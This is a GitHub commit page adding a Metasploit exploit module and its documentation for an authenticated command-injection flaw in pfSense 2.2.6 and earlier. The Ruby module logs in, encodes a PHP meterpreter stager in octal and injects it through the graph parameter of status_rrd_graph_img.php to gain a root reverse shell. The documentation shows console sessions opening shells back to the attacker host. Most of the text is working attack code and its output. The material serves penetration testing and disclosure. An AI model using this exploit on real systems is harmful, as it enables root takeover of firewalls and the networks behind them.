Skip to content

Commit 65f444d

Browse files
committed
land rapid7#9362 exploit for pfsense graph injection
2 parents 366a20a + c9d6d0a commit 65f444d

File tree

2 files changed

+243
-0
lines changed

2 files changed

+243
-0
lines changed
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
## Description
2+
3+
This module exploits a vulnerability in pfSense version 2.2.6 and before which allows an authenticated user to execute arbitrary operating system commands as root.
4+
5+
## Vulnerable Application
6+
7+
This module has been tested successfully on version 2.2.6-RELEASE, 2.2.5-RELEASE, and 2.1.3-RELEASE
8+
9+
Installers:
10+
11+
* [pfSense 2.2.6-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.6-RELEASE-amd64.iso.gz)
12+
* [pfSense 2.2.5-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.5-RELEASE-amd64.iso.gz)
13+
* [pfSense 2.1.3-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.1.3-RELEASE-amd64.iso.gz)
14+
15+
## Verification Steps
16+
17+
1. Start `msfconsole`
18+
2. Do: `use exploit/unix/http/pfsense_graph_injection_exec`
19+
3. Do: `set RHOST [IP]`
20+
4. Do: `set USERNAME [username]`
21+
5. Do: `set PASSWORD [password]`
22+
6. Do: `set LHOST [IP]`
23+
7. Do: `exploit`
24+
25+
## Scenarios
26+
27+
### pfSense Community Edition 2.2.6-RELEASE
28+
29+
```
30+
msf exploit(unix/http/pfsense_graph_injection_exec) > use exploit/unix/http/pfsense_graph_injection_execmsf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
31+
RHOST => 2.2.2.2
32+
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
33+
LHOST => 1.1.1.1
34+
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit
35+
36+
[*] Started reverse TCP handler on 1.1.1.1:4444
37+
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
38+
[*] Payload uploaded successfully, executing
39+
[*] Sending stage (37543 bytes) to 2.2.2.2
40+
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:42116) at 2018-01-01 17:17:36 -0600
41+
42+
meterpreter > sysinfo
43+
Computer : pfSense.localdomain
44+
OS : FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
45+
Meterpreter : php/freebsd
46+
meterpreter > getuid
47+
Server username: root (0)
48+
meterpreter >
49+
```
50+
51+
### pfSense Community Edition 2.1.3-RELEASE
52+
53+
```
54+
msf > use exploit/unix/http/pfsense_graph_injection_exec
55+
msf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
56+
RHOST => 2.2.2.2
57+
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
58+
LHOST => 1.1.1.1
59+
msf exploit(unix/http/pfsense_graph_injection_exec) > set PAYLOAD php/reverse_php
60+
PAYLOAD => php/reverse_php
61+
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit
62+
63+
[*] Started reverse TCP handler on 1.1.1.1:4444
64+
[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload
65+
[*] Payload uploaded successfully, executing
66+
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:3454) at 2018-01-01 15:49:38 -0600
67+
uname -a
68+
69+
FreeBSD pfSense.localdomain 8.3-RELEASE-p16 FreeBSD 8.3-RELEASE-p16 #0: Thu May 1 16:19:14 EDT 2014 root@pf2_1_1_amd64.pfsense.org:/usr/obj.amd64/usr/pfSensesrc/src/sys/pfSense_SMP.8 amd64
70+
```
Lines changed: 173 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,173 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'pfSense authenticated graph status RCE',
17+
'Description' => %q(
18+
pfSense, a free BSD based open source firewall distribution,
19+
version <= 2.2.6 contains a remote command execution
20+
vulnerability post authentication in the _rrd_graph_img.php page.
21+
The vulnerability occurs via the graph GET parameter. A non-administrative
22+
authenticated attacker can inject arbitrary operating system commands
23+
and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
24+
),
25+
'Author' =>
26+
[
27+
'Security-Assessment.com', # discovery
28+
'Milton Valencia', # metasploit module <wetw0rk>
29+
'Jared Stephens', # python script <mvrk>
30+
],
31+
'References' =>
32+
[
33+
[ 'EDB', '39709' ],
34+
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
35+
],
36+
'License' => MSF_LICENSE,
37+
'Platform' => 'php',
38+
'Privileged' => 'true',
39+
'DefaultOptions' =>
40+
{
41+
'SSL' => true,
42+
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
43+
'Encoder' => 'php/base64'
44+
},
45+
'Arch' => [ ARCH_PHP ],
46+
'Payload' =>
47+
{
48+
'Space' => 6000,
49+
'Compat' =>
50+
{
51+
'ConnectionType' => '-bind',
52+
}
53+
},
54+
'Targets' => [[ 'Automatic Target', {} ]],
55+
'DefaultTarget' => 0,
56+
'DisclosureDate' => 'Apr 18, 2016',
57+
)
58+
)
59+
60+
register_options(
61+
[
62+
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
63+
OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']),
64+
Opt::RPORT(443)
65+
], self.class
66+
)
67+
end
68+
69+
def login
70+
res = send_request_cgi(
71+
'uri' => '/index.php',
72+
'method' => 'GET'
73+
)
74+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
75+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
76+
77+
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
78+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
79+
vprint_status("CSRF Token for login: #{csrf}")
80+
81+
res = send_request_cgi(
82+
'uri' => '/index.php',
83+
'method' => 'POST',
84+
'vars_post' => {
85+
'__csrf_magic' => csrf,
86+
'usernamefld' => datastore['USERNAME'],
87+
'passwordfld' => datastore['PASSWORD'],
88+
'login' => ''
89+
}
90+
)
91+
unless res
92+
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
93+
end
94+
if res.code == 302
95+
vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
96+
return res.get_cookies
97+
else
98+
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
99+
return nil
100+
end
101+
end
102+
103+
def detect_version(cookie)
104+
res = send_request_cgi(
105+
'uri' => '/index.php',
106+
'method' => 'GET',
107+
'cookie' => cookie
108+
)
109+
unless res
110+
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
111+
end
112+
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
113+
if version
114+
print_status("Detected pfSense #{version}, uploading intial payload")
115+
return Gem::Version.new(version)
116+
end
117+
# If the device isn't fully setup, you get stuck at redirects to wizard.php
118+
# however, this does NOT stop exploitation strangely
119+
print_error('pfSense version not detected or wizard still enabled.')
120+
Gem::Version.new('0.0')
121+
end
122+
123+
def exploit
124+
begin
125+
cookie = login
126+
version = detect_version(cookie)
127+
filename = rand_text_alpha(rand(1..10))
128+
129+
# generate the PHP meterpreter payload
130+
stager = 'echo \'<?php '
131+
stager << payload.encode
132+
stager << "?>\' > #{filename}"
133+
# here we begin the encoding process to
134+
# convert the payload to octal! Ugly code
135+
# don't look
136+
complete_stage = ""
137+
for i in 0..(stager.length()-1)
138+
if version.to_s =~ /2.2/
139+
complete_stage << '\\'
140+
end
141+
complete_stage << "\\#{stager[i].ord.to_s(8)}"
142+
end
143+
144+
res = send_request_cgi(
145+
'uri' => '/status_rrd_graph_img.php',
146+
'method' => 'GET',
147+
'cookie' => cookie,
148+
'vars_get' => {
149+
'database' => '-throughput.rrd',
150+
'graph' => "file|printf '#{complete_stage}'|sh|echo",
151+
}
152+
)
153+
154+
if res && res.code == 200
155+
print_status('Payload uploaded successfully, executing')
156+
register_file_for_cleanup(filename)
157+
else
158+
print_error('Failed to upload payload...')
159+
end
160+
161+
res = send_request_cgi({
162+
'uri' => '/status_rrd_graph_img.php',
163+
'method' => 'GET',
164+
'cookie' => cookie,
165+
'vars_get' => {
166+
'database' => '-throughput.rrd',
167+
'graph' => "file|php #{filename}|echo "
168+
}
169+
})
170+
disconnect
171+
end
172+
end
173+
end

0 commit comments

Comments
 (0)